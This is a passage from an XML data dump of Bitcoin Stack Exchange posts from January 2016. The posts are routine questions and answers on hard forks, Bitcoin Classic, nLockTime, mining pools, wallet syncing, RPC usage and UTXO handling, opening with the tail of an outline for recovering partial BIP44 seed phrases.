HMAC-SHA512(seed)&lt;/li&gt;&#xA;&lt;li&gt;Calculate an account from the master node&lt;/li&gt;&#xA;&lt;li&gt;Calculate a wallet chain from the account&lt;/li&gt;&#xA;&lt;li&gt;Calculate the first 5 private keys in the wallet chain&lt;/li&gt;&#xA;&lt;li&gt;Calculate the first 5 public keys from those private keys&lt;/li&gt;&#xA;&lt;li&gt;Write up a description and steps for recovering partial phrases for BIP44 wallets&lt;/li&gt;&#xA;&lt;li&gt;Write a program to query either a blockchain locally, or a blockchain explorer API online. Pass it the combined list of generated public keys, and see if any have a balance.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27899" LastEditorUserId="27899" LastEditDate="2016-01-25T06:54:40.223" LastActivityDate="2016-01-25T06:54:40.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42562" PostTypeId="1" AcceptedAnswerId="42564" CreationDate="2016-01-25T07:41:05.993" Score="3" ViewCount="227" Body="&lt;p&gt;I already know about the 2MB block size increase. I would like to know more about who controls the code base, what the other proposed changes are, and those kinds of things.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="5406" LastEditDate="2016-01-25T10:48:14.620" LastActivityDate="2016-01-25T10:48:14.620" Title="What are some essential features of Bitcoin classic?" Tags="|block-size-increase|bitcoin-classic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42563" PostTypeId="2" ParentId="42562" CreationDate="2016-01-25T08:15:06.480" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoinclassic.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinclassic.com/&lt;/a&gt; there are no additional patches except the blocksize increase yet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It starts as a one-feature patch to bitcoin-core that increases the blocksize limit to 2 MB. We will have ports for master and 0.11.2, so that miners and businesses can upgrade to 2 MB blocks from any recent bitcoin software version they run.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the times of git, nobody really controls a code base, it is just out there. The essential question is: What version is run/accepted by the majority of nodes (miners, merchants, users, ...).  You should read about &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9173/what-is-a-hard-fork&quot;&gt;hardforks&lt;/a&gt; if you haven't.&lt;/p&gt;&#xA;" OwnerUserId="31561" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-25T08:15:06.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42564" PostTypeId="2" ParentId="42562" CreationDate="2016-01-25T09:22:29.537" Score="1" Body="&lt;p&gt;There are many different wishes to what should go into classic, but I strongly believe that they will keep the promise given at &lt;a href=&quot;https://bitcoinclassic.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinclassic.com/&lt;/a&gt; - to only include the patch allowing for 2 MB blocks (BIP-102, possibly with some tweaking) - otherwise it will be very hard to get the required adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the longer term (after we have successfully migrated to bigger blocks), there may be other changes coming.  The biggest news with Classic is the governance model.  I haven't paid attention, but they wanted to create a manifest, sort of a &quot;constitution&quot; which will tell how to handle similar conflicts in the future.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2016-01-25T09:22:29.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42566" PostTypeId="1" AcceptedAnswerId="42568" CreationDate="2016-01-25T14:05:42.737" Score="4" ViewCount="4743" Body="&lt;p&gt;A hard fork necessarily means that two versions of the block-chain exist and value is held in both. Now realistically one of them should probably go down in value and the other increase or hold steady such that the total value held in them is roughly the same at the end of the day ( assuming a rational crypto-currency market). However assume that the market is undervalued and somehow the market decides that both the blockchains have the same value or that the new one is way more valuable than the older one, with the latter holding its value; isnt that equivalent to something like 4 billion dollars of value being created out of thin air? And also, how likely is that scenario, especially in the context of bitcoin classic....&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="17079" LastEditDate="2016-01-25T14:13:28.110" LastActivityDate="2017-09-04T16:14:17.060" Title="Can a hard fork effectively double the value held in bitcoin?" Tags="|blockchain|blockchain-fork|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42567" PostTypeId="1" CreationDate="2016-01-25T15:00:00.200" Score="1" ViewCount="65" Body="&lt;p&gt;I love the concept of Bitcoin, however I have noticed a few weaknesses to the system that not may folks talk about.  One of the issues is the 21,000,000 limit. After &quot;X&quot; amount of time, a certain amount of the currency is lost.   For instance lets say every year, 3% of bitcoin is lost due to hardware crashes, owners death, another Mt Gox, etc...  I am aware we can go all the way down to a satoshi, however I am not sure that is feasible because given enough time, even a Satoshi would be prohibitively expensive when looking at a global scale.  Assuming that rate of loss, you lose half of the bitcoins out there after less than two decades.   Should there be a way to handle reissuance of &quot;dead&quot; coins?  Or even to expand the 21,000,000 limit?&lt;/p&gt;&#xA;" OwnerUserId="32352" LastEditorUserId="5406" LastEditDate="2016-01-25T16:00:45.447" LastActivityDate="2016-01-25T16:00:45.447" Title="The 21,000,000 BTC Limit Issue" Tags="|weaknesses|reward-schedule|shrinking-money-supply|" AnswerCount="0" CommentCount="2" ClosedDate="2016-01-27T09:09:20.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="42568" PostTypeId="2" ParentId="42566" CreationDate="2016-01-25T15:16:30.117" Score="6" Body="&lt;p&gt;I'm not an economist, but…  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, that's very unlikely.&lt;br&gt;&#xA;Starting from your assumption that the &lt;strong&gt;network splits into two persisting blockchains&lt;/strong&gt;&lt;sup&gt;*&lt;/sup&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The number of active participants of each network is reduced. This reduces the utility of the network. → Negative effect on the value.&lt;/li&gt;&#xA;&lt;li&gt;The amount of transactions that can be sent increases. This improves the utility of the network. → Positive effect on the value.&lt;/li&gt;&#xA;&lt;li&gt;The shortterm security of both chains is reduced as hash power is spread to two chains. → Negative effect on the value.&lt;/li&gt;&#xA;&lt;li&gt;The longterm security of both networks is reduced, as one or both of them become more likely to cease existing. → Negative effect on the value.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unforeseeable reactions of various invested parties. → Unknown effects.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shortterm:&lt;/strong&gt;&lt;br&gt;&#xA;I'm fairly confident that a project fork would throw the community into turmoil. Some developers might leave, some companies may be bankrupted, lots of users would lose money. The community would have to reorganize, work on governance, work out new goals, and rebuild teams. Blocks will slow down due to hash power splitting to two chains. The underdog may use this opportunity to completely redefine themselves, thus bringing their project back into the game. Development would slow down significantly for a while. I would expect each chain to have a lower value than the original chain, most likely &lt;strong&gt;the sum of both would fall well below the original chain's value&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Longterm:&lt;/strong&gt;&lt;br&gt;&#xA;I'm convinced that cryptocurrencies benefit so strongly from the network effect, that only a small number of them will be able to coexist, i.e. both blockchains would be competing for the same market share. Either they diversify to an extent where they appeal to vastly different userbases, or balance will at some point tilt, causing &lt;strong&gt;one side to take the lion's share&lt;/strong&gt;. Even if the projects significantly diverge, one should end up much more widespread than the other. Should this schism have a clear victor quick enough, the winner, now improved in comparison to the original blockchain, could attract the bulk of the community, and rally. If they split without a clear majority and the schism drags on, it might become so ugly that both bleed support and go extinct.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;sub&gt;It's not clear that two chains would persist after a hardfork. The game theory seems to work out in a way that one chain would very quickly be abolished.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-10T13:17:13.723" LastActivityDate="2016-02-10T13:17:13.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42569" PostTypeId="2" ParentId="42566" CreationDate="2016-01-25T17:09:38.517" Score="2" Body="&lt;p&gt;I agree with Murch on what would happen if we get a persistent de-facto fork of the blockchain; &lt;strong&gt;the sum of both would fall well below the original chain's value&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't believe we will ever get there.  I believe it's a common misconception to think we could ever get a split into &quot;core-coin&quot; and a &quot;classic coin&quot; (or XT coin) with those two being on somehow equal footing.  That won't happen.  The hard-fork is only reality when;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;At least 75% of the hashing power signals support for the new chain rules&lt;/li&gt;&#xA;&lt;li&gt;Some grace time period (28 days) have passed, allowing the remaining 25% to upgrade their software&lt;/li&gt;&#xA;&lt;li&gt;Some miner actually mines a block that is not accepted by the old rules (that is, a block that is above 1MB).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And even then the coins won't be split; transactions will still be going into a shared mempool and they are likely to be included on both chains.  Now if the split is allowed to continue it will be messy as hell, some transactions going through at both chains and some only at one.  Some clever people will probably be doing double-spend-attacks to make sure to split their coins.  After a while freshly minted coins will be entering the chains, they will be valid only on the chain they are mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;strong&gt;I believe the hard-fork, when/if it comes, will be successful&lt;/strong&gt; - &lt;strong&gt;the chain following the old rules will be abandoned&lt;/strong&gt;, and the BTC value will go through the roof once the market realize that the much-feared-for hard-fork went smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To initiate the count-down for the hard-fork, at least 75% of the miners have to signal support - but in reality the threshold is likely to be higher:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Miners depend on a high BTC value, hence they will only be willing to signal support for the hard-fork if it is overwhelmingly probable to be successful.  Last I heard, Chinese miners will signal support when it seems likely that at least 90% of the hashing power will support it.&lt;/li&gt;&#xA;&lt;li&gt;Miners will have a very hard time selling their freshly minted coins if they mine at the &quot;wrong&quot; part of the fork - hence whatever minority is against the fork will be very quick on switching sides and support the &quot;winning&quot; side.&lt;/li&gt;&#xA;&lt;li&gt;The &quot;old&quot; fork will for all practical purposes become unusable for several months, even if as much as 25% of the miners still will support it - the everage interval between blocks will be at least 40 minutes, the mempool will become overflooded, transactions won't go through, it will be a sinking ship for sure.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2016-02-10T11:50:08.530" LastActivityDate="2016-02-10T11:50:08.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42570" PostTypeId="1" CreationDate="2016-01-25T17:49:42.363" Score="4" ViewCount="703" Body="&lt;p&gt;Wondering if it's technically possible to set up a transaction to be sent in the future, for example 6 months? Is this related to block timestamps parameters? Transaction timestamps?&lt;/p&gt;&#xA;" OwnerUserId="32355" LastEditorUserId="5406" LastEditDate="2016-01-26T09:40:34.060" LastActivityDate="2019-04-29T02:28:41.987" Title="Is it possible to schedule a transaction in the future?" Tags="|locktime|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42571" PostTypeId="1" CreationDate="2016-01-25T18:38:58.830" Score="0" ViewCount="101" Body="&lt;p&gt;A friend of mine has a problem in verifying a wallet for the following reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since about 40 years he has been denied a passport and a normal ID card by the german authorities after he handed in his old IDs after marriage. But it seems there is no chance to set up an BTC wallet that permits usual activities (buying resp. selling and transferring BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is there any institution in the EU (using german or english language) that permits wallet on/with alternative identification and is at the same time trustworthy and has high level of integrity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My friend would intend to buy 3 BTC and following per year one additional BTC for an indefinite period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate someone's help in this matter. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="32358" LastEditorUserId="18196" LastEditDate="2016-01-26T16:11:04.597" LastActivityDate="2016-05-25T21:15:13.810" Title="setting up and verify a wallet under special circumstances" Tags="|wallet|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42572" PostTypeId="1" CreationDate="2016-01-25T19:30:46.837" Score="-1" ViewCount="52" Body="&lt;p&gt;New to bitcoins is it possible to send transactions to the network without having a local node installed and how I'm coding in c#&lt;/p&gt;&#xA;" OwnerUserId="31889" LastActivityDate="2016-01-25T20:12:17.387" Title="Bitcoin transactions to the network" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42573" PostTypeId="2" ParentId="42572" CreationDate="2016-01-25T20:12:17.387" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;is it possible to send transactions to the network without having a&#xA;  local node installed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Definetely yes. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and how&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open socket connection to someone ip:8333&lt;/li&gt;&#xA;&lt;li&gt;Handshake&lt;/li&gt;&#xA;&lt;li&gt;Send tx&lt;/li&gt;&#xA;&lt;li&gt;Close connection&lt;/li&gt;&#xA;&lt;li&gt;Quit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-01-25T20:12:17.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42574" PostTypeId="1" AcceptedAnswerId="42575" CreationDate="2016-01-25T21:54:51.627" Score="1" ViewCount="1237" Body="&lt;p&gt;Set aside the fact that pool mining provides a more steady stream of income than solo mining, and the fact that pools charge a fee for their services. Disregarding those facts, I have an argument for why pool mining should carry higher expected value. This topic has been covered &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/594/solo-mining-vs-pool-mining-for-users-with-high-computing-power&quot;&gt;before&lt;/a&gt; and apparently I'm wrong:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;...solo mining and pooled mining should, over the long term, produce precisely the same revenue&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's my argument, please break it and show me why it's wrong:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice, Bob, Cecil and Danny compete to find the next block. They know it's in one of 10 boxes. Alice and Bob are solo miners and randomly search through boxes one by one. Cecil and Danny also search through boxes randomly, but they are in the same pool, so they decide that Cecil will search through boxes 1-5 and Danny will search through boxes 6-10. This way they will never waste computing power searching the same box twice. Alice and Bob on the other hand don't coordinate with each other, so sometimes Alice will search in a box that Bob already knows is empty. How are Alice (solo) and Danny (pool) equally likely to find the block?&lt;/p&gt;&#xA;" OwnerUserId="32364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-01-25T22:01:39.850" Title="Expected value in pool mining vs. solo mining" Tags="|mining-pools|solo-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42575" PostTypeId="2" ParentId="42574" CreationDate="2016-01-25T22:01:39.850" Score="1" Body="&lt;p&gt;You are assuming that Cecil and Danny can collaborate to avoid duplicating work. They can't, at least not in any meaningful way. In your example, there are a small number of boxes for them to search. In Bitcoin, there are trillions of boxes. Any collaboration about keeping track of who searched what would take much more work than everybody searching randomly and accepting the extremely small probability of checking the same thing twice.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-01-25T22:01:39.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42576" PostTypeId="1" AcceptedAnswerId="42598" CreationDate="2016-01-26T00:12:11.000" Score="23" ViewCount="9682" Body="&lt;p&gt;Is there an online simulator that would allow me to step through, debug, or simulate the execution of a Bitcoin script?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2023-04-26T15:35:04.397" Title="Online Bitcoin Script simulator or debugger?" Tags="|script|" AnswerCount="10" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42577" PostTypeId="1" CreationDate="2016-01-26T00:47:27.157" Score="2" ViewCount="1516" Body="&lt;p&gt;Is it possible using &lt;code&gt;bitcoind&lt;/code&gt; JSON-RPC API to receive funds from someone and send it immediately to another third-party address? I do not want to wait for 1 confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getbalance&lt;/code&gt; with &lt;code&gt;minconf=0&lt;/code&gt; shows I have 0.01 BTC, but when I do &lt;code&gt;sentfrom&lt;/code&gt; with &lt;code&gt;minconf=0&lt;/code&gt;, I get &lt;code&gt;Insufficient funds&lt;/code&gt; error.&lt;/p&gt;&#xA;" OwnerUserId="31476" LastActivityDate="2022-05-09T21:06:00.573" Title="bitcoind sendfrom with minconf=0" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42580" PostTypeId="1" CreationDate="2016-01-26T03:55:51.760" Score="1" ViewCount="1594" Body="&lt;p&gt;I am extremely new to this concept but just decided to try. Unfortunately I did not do my homework before playing with my money.&#xA;I bought some coins and I sent them to my Bitcoin core wallet (that I had just installed, knowing nothing about the fact that it needed to sync first). I realized that since it wasn't synchronized I would need to wait until it finished downloading all of the data for me to have access to that money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that my bitcoin core just stopped downloading data with the loading bar still in the middle and it is no longer synchronizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make my bitcoin core complete to download all the data?&lt;/p&gt;&#xA;" OwnerUserId="32370" LastEditorUserId="30732" LastEditDate="2016-10-22T17:31:46.140" LastActivityDate="2018-01-17T09:45:20.230" Title="Bitcoin core stopped sync'ing (without downloading all the data). How can I make it resume the synchronization?" Tags="|transactions|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="2" ClosedDate="2018-01-21T00:58:28.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="42581" PostTypeId="1" CreationDate="2016-01-26T05:22:18.620" Score="3" ViewCount="307" Body="&lt;p&gt;As per my understanding of bitcoin codebase, the following events happen after we solve a proof of work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;code&gt;miner.cpp&lt;/code&gt;, once the miner thread solves a new Proof-of-work (PoW), &lt;code&gt;ProcessBlockFound&lt;/code&gt; basically notifies others via a signal &lt;code&gt;BlockFound&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;BlockFound&lt;/code&gt; signal calls &lt;code&gt;ResetRequestCount&lt;/code&gt; which basically resets the &lt;code&gt;mpRequestCount&lt;/code&gt; in &lt;code&gt;wallet.h&lt;/code&gt; via the &lt;code&gt;validationInterface.h&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;(Missing Logic)&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;A new &lt;code&gt;NetMsgType::INV&lt;/code&gt; is issued from &lt;code&gt;main.cpp&lt;/code&gt; in &lt;code&gt;SendMessages&lt;/code&gt;/&lt;code&gt;ProcessMessages&lt;/code&gt; to all peers.&lt;/li&gt;&#xA;&lt;li&gt;These messages are eventually dispatched to all peers via network socket logic &lt;code&gt;net.cpp&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am missing the main piece of code logic between step2 and step4. Can any expert help me understand what background story is happening after step2? &lt;/p&gt;&#xA;" OwnerUserId="30161" LastEditorUserId="2306" LastEditDate="2016-02-05T18:01:32.050" LastActivityDate="2016-02-05T18:01:32.050" Title="How does PoW solved in miner.cpp gets transferred to main.cpp in source code?" Tags="|bitcoind|development|bitcoin-core-development|mining-theory|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42582" PostTypeId="1" CreationDate="2016-01-26T06:44:48.280" Score="1" ViewCount="314" Body="&lt;p&gt;Let's say I have wallets A,B,C.&#xA;A funds multisig address with B and C.&#xA;B &amp;amp; C show keys, get input and spent it to OP_RETURN transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2016-01-26T19:48:01.393" Title="OP_RETURN with Multisig" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42583" PostTypeId="2" ParentId="42576" CreationDate="2016-01-26T07:00:31.500" Score="1" Body="&lt;p&gt;There is a &quot;Script Playground&quot;:&#xA;&lt;a href=&quot;http://www.crmarsh.com/script-playground/&quot; rel=&quot;nofollow&quot;&gt;http://www.crmarsh.com/script-playground/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2016-01-26T07:00:31.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42584" PostTypeId="2" ParentId="42570" CreationDate="2016-01-26T07:08:32.257" Score="0" Body="&lt;p&gt;Afaik it's not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can ask a relative to help and make with him 2-2 multisignature transaction so you will be sure you will not spend money until you have two sigs. &lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2016-01-26T07:08:32.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42587" PostTypeId="2" ParentId="42580" CreationDate="2016-01-26T10:50:00.333" Score="0" Body="&lt;p&gt;There are pretty much two stages. The first stage is to download (catch up) the whole blockchain that has 64.4 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have that the verification stage checks all payments ever made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both these things are pretty painful but once both are done you can backup your blockchain for example to external disk and you won't ever have to do it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't delete your wallet file.  &lt;strong&gt;Backup your wallet.dat file.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So delete everything, restart bitcoin, let it run for a few days and hope it doesn't get stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: do you have enough free disk space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: don't delete the wallet&lt;/p&gt;&#xA;" OwnerUserId="32091" LastEditorUserId="6375" LastEditDate="2017-12-18T06:38:16.060" LastActivityDate="2017-12-18T06:38:16.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42590" PostTypeId="2" ParentId="42570" CreationDate="2016-01-26T14:00:19.773" Score="6" Body="&lt;p&gt;Yes, there is &lt;code&gt;tx.nLockTime&lt;/code&gt;. A transaction mined before its nLockTime is invalid, so you can send your funds to yourself on some newly created address, then send it back with a locktime and destroy the private key for the newly created address.  Transactions with nLockTime can be amended, but since you destroyed the private key, you actually can't, thus preventing them from being spent before that time has passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/40706/why-is-op-checklocktimeverify-disabled-by-maximum-sequence-number/40784#40784&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=321550.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, or &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/31fzh5/nlocktime/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that nLockTime transactions may not be stored/relayed by the network. So you need to keep the transaction in a safe place and broadcast it at the right time.&lt;/p&gt;&#xA;" OwnerUserId="31561" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-26T14:08:30.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42591" PostTypeId="2" ParentId="40396" CreationDate="2016-01-26T14:47:03.157" Score="5" Body="&lt;p&gt;The main bottleneck of committing to a UTXO merkle root is that it's I/O and CPU heavy to create and verify. As of today the serialized UTXO set is &lt;a href=&quot;http://statoshi.info/dashboard/db/unspent-transaction-output-set&quot; rel=&quot;noreferrer&quot;&gt;around 1GB and it contains almost 34000000 entries&lt;/a&gt; and it keeps growing. This means that a naive implementation would have to hash at least that amount of data per block plus the intermediate nodes to construct a merkle tree. This is O(n) complexity and it is generally considered poor performance. It is possible to use caching optimizations but that would use more RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible alternative are UTXO differences that each block introduces. It works by committing a merkle root with all the UTXOs that were spent in the current block and another root that lists all the added UTXOs. For an SPV client this could work as a fraud proof, where it is possible to show that a specific output was spent on a specific height (although it is already possible to show it using ordinary transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up, a full UTXO merkle root commitments are really useful but cannot be used due to poor scaling.&lt;/p&gt;&#xA;" OwnerUserId="13746" LastEditorUserId="13746" LastEditDate="2016-01-26T17:03:00.250" LastActivityDate="2016-01-26T17:03:00.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42592" PostTypeId="2" ParentId="42577" CreationDate="2016-01-26T15:02:31.570" Score="1" Body="&lt;p&gt;From the help for the &lt;code&gt;sendfrom&lt;/code&gt; RPC/command line command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Arguments:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&quot;fromaccount&quot;       (string, required) The name of the account to send funds from. May be the default account using &quot;&quot;.&lt;/li&gt;&#xA;  &lt;li&gt;&quot;tobitcoinaddress&quot;  (string, required) The bitcoin address to send funds to.&lt;/li&gt;&#xA;  &lt;li&gt;amount                (numeric or string, required) The amount in BTC (transaction fee is added on top).&lt;/li&gt;&#xA;  &lt;li&gt;minconf               (numeric, optional, default=1) Only use funds with at least this many confirmations.&lt;/li&gt;&#xA;  &lt;li&gt;&quot;comment&quot;           (string, optional) A comment used to store what the transaction is for.&#xA;                                   This is not part of the transaction, just kept in your wallet.&lt;/li&gt;&#xA;  &lt;li&gt;&quot;comment-to&quot;        (string, optional) An optional comment to store the name of the person or organization&#xA;                                   to which you're sending the transaction. This is not part of the transaction,&#xA;                                   it is just kept in your wallet.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Parameter 4 is for minconf. You can't just add &lt;code&gt;minconf=0&lt;/code&gt; to the command, though, you have to give arguments for the first 3 parameters and then specify the 4th. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendfrom &quot;&quot; &quot;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot; 0.1 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that still doesn't work, make sure the funds show up in &lt;code&gt;getbalance &quot;&quot; 0&lt;/code&gt;. Also note that you need to leave some for a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9895/who-gets-bitcoin-transaction-fees&quot;&gt;mining fee&lt;/a&gt; (you actually need a little bit more than the amount you want to send in order to make a transaction go through, because of the fee).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-01-26T15:02:31.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42593" PostTypeId="1" AcceptedAnswerId="42594" CreationDate="2016-01-26T15:26:23.647" Score="2" ViewCount="322" Body="&lt;p&gt;I am looking for a filename and a line, or multiple ones if necessary. My goal is to maintain an index of addresses to UTXOs.&lt;/p&gt;&#xA;" OwnerUserId="4796" LastActivityDate="2016-01-26T15:45:53.767" Title="Where can I see the code of how the UTXO set is updated in case of a fork in Bitcoin Core?" Tags="|bitcoind|bitcoin-core|address|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42594" PostTypeId="2" ParentId="42593" CreationDate="2016-01-26T15:45:53.767" Score="2" Body="&lt;p&gt;In the case of a fork, you have to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.12.0rc2/src/main.cpp#L1792-L1858&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Disconnect&lt;/code&gt;&lt;/a&gt; the blocks that are on the losing side of the fork, and then &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.12.0rc2/src/main.cpp#L1962-L2166&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Connect&lt;/code&gt;&lt;/a&gt; the blocks on the winning side of the fork, in order. If you look at the &lt;code&gt;CCoinsViewCache&lt;/code&gt; input into the function, you can see how the UTXO set is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, though, you have to reverse the effects of all of the transactions in the losing blocks and apply the effects of the transactions in the new blocks. Reversing means processing inputs to mark STXOs as UTXOs and removing UTXOs created in the block. Processing new transactions into the UTXO set means, in addition to verifying the transactions are valid, you mark UTXOs spent by the inputs of transactions as STXOs (or remove them, depending on how your system works), and you create new UTXOs for the outputs in the block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you have apply these processes for each transaction in the block in order (or reverse order if Disconnecting a block), because transaction B can spend from outputs created in 